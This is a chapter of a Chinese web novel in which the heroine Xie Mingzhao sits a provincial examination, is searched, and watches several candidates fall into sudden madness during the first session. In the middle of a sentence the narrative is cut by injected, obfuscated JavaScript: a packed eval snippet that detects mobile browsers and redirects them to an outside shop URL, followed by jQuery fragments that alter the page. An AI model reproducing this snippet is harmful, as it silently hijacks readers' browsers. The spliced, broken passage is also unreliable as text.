晨光熹微，青州府城在薄雾中苏醒，通往贡院的主街早已净道，三步一岗，五步一哨，披甲执锐的兵丁面无表情地肃立着，目光锐利地扫过每一个经过的行人。


    更多的，是那些穿着簇新或半旧襕衫、提着考篮的书生，从四面八方汇聚而来，涌向那座决定无数人命运的青州贡院。


    谢明昭也汇入了人流群中。她的考篮是昭影反复检查过的，笔墨纸砚、清水干粮、一件备用的外衫，再无他物。


    贡院门前那片空地上，已经黑压压站满了人。她提着考篮，走进人群，周围的目光若有若无地扫过来，带着好奇、打量，甚至有一丝不易察觉的敌意。她目不斜视，走到一处稍空旷的地方站定。


    不知过了多久，远处传来沉重的嘎吱声。


    贡院的朱红大门，缓缓打开了。


    人群一阵骚动，所有人都往前涌了几步，又生生停住。门内走出两队差役，腰挎佩刀，在门前左右排开。随后出来的是几位身着官服的府学教授、训导，最后是学政胡章霖。


    胡章霖站在台阶上，目光扫过黑压压的人群，清了清嗓子，声音洪亮：“今科院试，现在开始点名！叫到名字者，依次上前，接受搜检！”


    一名书吏捧着名册上前，开始唱名。


    “昌乐县，陈望——”


    一个清瘦的身影从人群中走出，提着考篮，快步走上台阶。两名差役将他引到门内东侧的一间耳房前开始搜检。


    “怀安县，齐志勇——”


    闻言，谢明昭看向那个从人群中走出的学子，不知是不是太紧张的缘故，待走到台阶前还绊了一下，引来几声压抑的低笑。


    唱名继续。一个个名字被叫到，一个个身影走出人群，走上台阶，消失在门内。


    谢明昭静静等着，偶尔打量周围的人群。那些脸大多年轻，带着熬夜的憔悴，眼中有血丝，却都亮得灼人。


    “泾川里，谢辞——”


    周围瞬间静了一瞬，无数道目光齐刷刷投过来，像针一样扎在谢明昭身上。她面不改色，提起考篮，迈步向前。


    胡章霖站在门前，目光落在她身上。她微微颔首，没有停留，径直走向西侧另一间耳房准备接受搜检。


    门前站着两个四十来岁的婆子，穿着干净的青布衣裳，神色严肃。见谢明昭过来，其中一个上前一步，福了福身：“姑娘请进。”


    “请姑娘将考篮放在桌上。”那婆子道，语气还算客气。


    谢明昭依言放下考篮。另一个婆子走过来，开始仔细检查。考篮被一层层打开，每一样东西都被拿出来，细细查验……


    检查得很慢，两个婆子都不说话，只有物件翻动的窸窣声。


    考篮检查完毕，婆子看向谢明昭：“请姑娘解开外衣。”


    谢明昭脱下外衫。婆子接过去，一寸寸捏过衣领、袖口、衣襟、下摆，连针脚都要仔细摸过。又让她抬起手臂，检查腋下；脱下鞋袜，检查鞋底、袜筒。


    最后是头发。婆子让她坐下，解开发髻。素银簪被取下，放在桌上。一头青丝披散下来，长及腰际。婆子用手细细梳过每一缕发丝，确认没有藏匿任何东西。


    整个过程，谢明昭都很平静地配合着。


    终于，婆子停下了手，将外衫递还给她：“姑娘可以了。”


    谢明昭重新穿好衣裳，绾好发髻，插上银簪。考篮里的东西也被一一装回，恢复原样。


    “请姑娘从这边门出去，直走便是考场。”婆子推开耳房另一侧的门。


    门外是一条长廊，两侧是高墙，头顶是一线渐渐亮开的天光。长廊尽头，隐约能看见一片开阔的场地，以及一排排整齐的考棚。


    谢明昭提起考篮，走了出去。


    长廊里已经有不少学子。所有人都沉默着，脚步匆匆。


    差役们站在过道两侧，面无表情地指引着学子们按号入座。


    谢明昭找到自己的考棚，位置在中段，不靠前也不靠后。她走进去，放下考篮，在凳子上坐下。


    考棚很窄，坐下后膝盖几乎抵到对面的板壁。但收拾得干净，桌凳都牢固，没有松动。桌上的笔墨纸砚都是统一的式样，笔是普通的羊毫，墨是常见的松烟墨，纸是考卷专用的素笺。


    她将自带的笔墨取出来，摆在桌上备用。做完这些，她抬起头，看向前方。


    考棚的开口正对着过道，过道那边是另一排考棚。她能看见对面考棚里的学子，正紧张地搓着手，额头冒汗。再远些，能看见更多模糊的身影，都在各自的小隔间里，等待着。


    忽然，一阵沉重的钟声从前方传来。


    “当——当——当——”


    三声钟响，余韵悠长，在空旷的考场上回荡。


    所有学子都挺直了脊背。


    前方高台上，出现了几个身影。正中是学政胡章霖，左右是几位府学教授。


    胡章霖手中捧着一个黄绸包裹的木匣，神色肃穆。


    他打开木匣，取出一卷封好的试题，当众拆开封条，展开。


    “永和十年青州府院试，现在开始，”他的声音洪亮，传遍校场每一个角落，“第一场，经义。题目如下……”


    胡章霖一字一句，清晰念出题目。每念一道，便有书吏将题目写在一块木牌上，举起来，沿着过道缓缓行走，让每一排的学子都能看清。


    待题念完，他放下试题，高声道：“限两个时辰。现在开始答卷！”


    话音落下，考场上响起一片纸张翻动的窸窣声，然后是研墨声，笔尖划过纸面的沙沙声。


    谢明昭没有急着动笔，她先将四道题目在纸上誊抄一遍，一个字一个字地看。


    君子不器……穷达之间……诚意毋欺……淡而不厌……


    她闭上眼睛，让这些字句在脑海里沉淀。老师谢允的声音仿佛在耳边响起：“破题要准，立意要正，论述要清……”


    良久，她睁开眼，研墨，润笔。


    笔尖落在纸上，“君子不器，所以能成其大用……”


    阳光渐渐移过考棚的檐角，洒在桌面上。墨迹在光里渐渐干涸，纸面上字字清晰，笔笔端正。


    考场上很静，只有笔耕不辍的沙沙声，像春蚕食叶，又像细雨润物。成百上千支笔，在同一时刻，书写着各自的答案，也书写着各自的命运。


    正在谢明昭写到关键处，忽然一声凄厉的尖叫划破了考场的寂静。


    “啊——！！”


    所有笔都停了下来，学子们愕然抬头，循声望去。


    声音来自谢明昭斜前方第三排的考棚。只见齐志勇从考棚里冲出，手里还握着笔，墨汁甩了一身。他面色潮红，双眼圆睁，眼珠几乎要凸出来，嘴里胡乱喊着：


    “天！天降大任！必先苦其心志……”


    他挥舞着手臂，笔尖的墨在空中甩出点点黑痕。声音嘶哑而亢奋，完全不像正常人的语调：“吾善养吾浩然之气……气……气贯长虹！”


    几乎同时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302112|191328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，右前方也传来一声怪叫。另一个学子，正是之前不停搓手的那个，也冲出考棚，仰天大笑：“哈哈……我中了！我中了！状元及第！金榜题名！”


    他手舞足蹈，状若癫狂，一边笑一边撕扯自己的衣裳：“锦衣！玉带！乌纱帽！”


    “拦住他们！”高台上，胡章霖厉声喝道，脸色铁青。


    差役们迅速冲过去。但两人动作极快，像受惊的野兽般在过道里横冲直撞。齐志勇一边跑一边喊，声音越来越癫狂：


    “大学之道在明明德……在……在亲民！”


    “疯了……都疯了……”有学子颤声低语。


    考场顿时乱作一团。附近的学子纷纷站起，探头张望。更远处的虽看不见，也被这突如其来的变故惊得心神不宁。差役们从四面八方围拢过来，试图抓住两人。


    就在这时，左后方又传来一声闷响。第三个学子，正是昭影说的脸上有黑痣的学子，只见他直挺挺地倒在地上，四肢抽搐，口吐白沫，喉咙里发出“嗬嗬”的怪声。


    “又有一个！”


    “天哪……”


    恐慌像瘟疫般蔓延开来。有人想跑出考棚，被差役厉声喝止；有人缩在角落里瑟瑟发抖；还有人呆坐着，手里的笔“啪嗒”掉在地上。


    胡章霖匆匆走下高台，一边指挥差役控制局面，一边对身边一名教授急声道：“快去请大夫！再调一队人进来！”


    差役们终于将齐志勇和那个大笑的学子按住。两人还在拼命挣扎，力气大得惊人，三个差役才勉强制住一个。齐志勇的眼睛瞪得几乎要裂开，嘴里不停地喷出白沫，断断续续地念着经文：“天……天命之谓性……率性之谓道……”


    那个大笑的学子则忽然转为嚎哭：“我没中……我没中啊……十年寒窗……十年啊……”


    凄厉的哭声在考场里回荡，让人毛骨悚然。


    倒地的学子被抬了出去，四肢还在抽搐。齐志勇和那个又哭又笑的也被架起，拖离考场。他们挣扎着，嘶喊着，声音渐渐远去，最终消失在长廊尽头。


    但考场里的骚动并未平息。学子们惊魂未定，交头接耳，议论纷纷。有人脸色惨白，有人冷汗涔涔，更有人伏在桌上，肩膀不住颤抖。


    “肃静！！”


    胡章霖站到高台中央，一声断喝。声音里带着雷霆之威，瞬间压下了所有嘈杂。


    他目光如炬，缓缓扫过每一排考棚。考场上死一般寂静，连风声都似乎停了。


    “院试继续。”胡章霖的声音传遍每个角落，“方才三人突发急症，已送医诊治。此事自有官府查明处置，与尔等无关。”


    他顿了顿，语气更沉：“朝廷开科取士，取的是德才兼备、身心健全之人。若有人不自爱惜，行差踏错，以致损身害体，便是自毁前程。”


    这话意有所指，不少学子低下了头。


    “现在继续答卷！再有喧哗骚动者，以扰乱考场论处！”


    钟声再次响起，不是开考的钟，而是继续的讯号。


    学子们重新拿起笔。但经过这一番折腾，许多人已心神不宁。笔尖悬在纸上，久久落不下去。有人频频抬头张望，有人擦拭额头的冷汗，更有人手抖得厉害，墨汁滴在纸上，晕开一团污渍。


    谢明昭深吸一口气，调整自己的心神。提笔继续，一字一句，从容不迫。


    胡章霖往谢明昭这边眺望了一会，发现她镇定自若，低头速写，满意的点了点头。


    ————